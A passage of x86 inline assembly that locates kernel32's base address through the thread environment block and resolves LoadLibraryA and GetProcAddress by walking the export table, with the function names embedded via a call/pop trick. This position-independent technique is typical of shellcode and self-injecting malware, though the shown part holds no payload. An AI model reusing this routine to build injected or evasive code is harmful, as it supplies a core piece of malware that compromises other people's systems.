je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx
mov eax,[eax]
add eax,ImageBase
jmp Founded
xor eax,eax
Founded:
ret
}
__asm
{
Start:
push esi
push ecx
xor eax, eax
xor esi, esi
mov esi, fs:[esi + 0x18]
mov eax, [esi+4]
mov eax, [eax - 0x1c]
find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base
pop ecx
pop esi
mov uKernelBase,eax
mov ImageBase,eax
mov flen,0x0c
call LL1
_emit ’L’
_emit ’o’
_emit ’a’
_emit ’d’
_emit ’L’
_emit ’i’
_emit ’b’
_emit ’r’
_emit ’a’
_emit ’r’
_emit ’y’
_emit ’A’
_emit 0
LL1:
pop eax
mov FuncName,eax
call GetFunc
mov uLoadLibrary,eax
mov flen,0x0E
call LL2
_emit ’G’
_emit ’e’
_emit ’t’
_emit ’P’
_emit ’r’
_emit ’o’
_emit ’c’
_emit ’A’
_emit ’d’
_emit ’d’